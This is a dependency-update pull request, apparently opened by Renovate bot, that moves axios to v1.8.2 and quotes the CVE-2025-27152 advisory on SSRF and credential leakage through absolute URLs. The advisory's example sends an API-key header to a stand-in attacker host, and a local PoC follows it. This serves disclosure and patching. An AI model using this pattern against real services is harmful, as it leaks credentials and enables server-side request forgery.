#1395 fix(deps): update dependency axios to v1.8.2 [security] Pull request opened by renovate[bot] This PR contains the following updates: | Package | Change | Age | Adoption | Passing | Confidence | | ----------------------------------------------------------------------------------- | --------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | [axios](https://axios-http.com) ([source](https://redirect.github.com/axios/axios)) | [1.7.8 -> 1.8.2](https://renovatebot.com/diffs/npm/axios/1.7.8/1.8.2) | [[age](https://camo.githubusercontent.com/780ac61bfe1177a8deac6e668eef94e6d8a59a008eb78ee97b736ae8256343d5/68747470733a2f2f646576656c6f7065722e6d656e642e696f2f6170692f6d632f6261646765732f6167652f6e706d2f6178696f732f312e382e323f736c696d3d74727565)](https://docs.renovatebot.com/merge-confidence/) | [[adoption](https://camo.githubusercontent.com/bdee906f7c82a1ff4379838816b7837a28596ae954f4d9698277cbc87924f291/68747470733a2f2f646576656c6f7065722e6d656e642e696f2f6170692f6d632f6261646765732f61646f7074696f6e2f6e706d2f6178696f732f312e382e323f736c696d3d74727565)](https://docs.renovatebot.com/merge-confidence/) | [[passing](https://camo.githubusercontent.com/467804736921f8cd39211e782a3c44ac9af5a784fe512617055a8ef27c5222fd/68747470733a2f2f646576656c6f7065722e6d656e642e696f2f6170692f6d632f6261646765732f636f6d7061746962696c6974792f6e706d2f6178696f732f312e372e382f312e382e323f736c696d3d74727565)](https://docs.renovatebot.com/merge-confidence/) | [[confidence](https://camo.githubusercontent.com/9534bc15b13b5275e6b67629b824567ea3b3935165252bc8a8b83e505fd1483e/68747470733a2f2f646576656c6f7065722e6d656e642e696f2f6170692f6d632f6261646765732f636f6e666964656e63652f6e706d2f6178696f732f312e372e382f312e382e323f736c696d3d74727565)](https://docs.renovatebot.com/merge-confidence/) | ### GitHub Vulnerability Alerts #### CVE-2025-27152 ### Summary A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463 A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠`baseURL` is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios. ### Details Consider the following code snippet: import axios from "axios"; const internalAPIClient = axios.create({ baseURL: "http://example.test/api/v1/users/", headers: { "X-API-KEY": "1234567890", }, }); // const userId = "123"; const userId = "http://attacker.test/"; await internalAPIClient.get(userId); // SSRF In this example, the request is sent to

<http://attacker.test/>

instead of the

baseURL

. As a result, the domain owner of

attacker.test

would receive the

X-API-KEY

included in the request headers. It is recommended that: • When

baseURL

is set, passing an absolute URL such as

<http://attacker.test/>

to

get()

should not ignore

baseURL

. • Before sending the HTTP request (after combining the

baseURL

with the user-provided parameter), axios should verify that the resulting URL still begins with the expected

baseURL

. ### PoC Follow the steps below to reproduce the issue: 1. Set up two simple HTTP servers:

mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html 
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &

1. Create a script (e.g., main.js): import axios from "axios"; const client = axios.create({ baseURL: "http://localhost:10001/" }); const response = await client.get("http://localhost:10002/"); console.log(response.data); 1. Run the script:

$ node main.js
this is server2

Even though

baseURL

is set to

<http://localhost:10001/>

, axios sends the request to

<http://localhost:10002/>

. ### Impact • Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed. • SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running. • Affected Users: Software that uses

baseURL

and does not validate path parameters is affected by this issue. --- ### Release Notes axios/axios (axios) ### `v1.8.2` Compare Source ##### Bug Fixes • http-adapter: add allowAbsoluteUrls to path building (#​6810) (fb8eec2) ##### Contributors to this release • [avatar](https://avatars.githubusercontent.com/u/14166260?v=4&s=18) Fasoro-Joseph Alexander ### `v1.8.1` Compare Source… pact-foundation/pact-js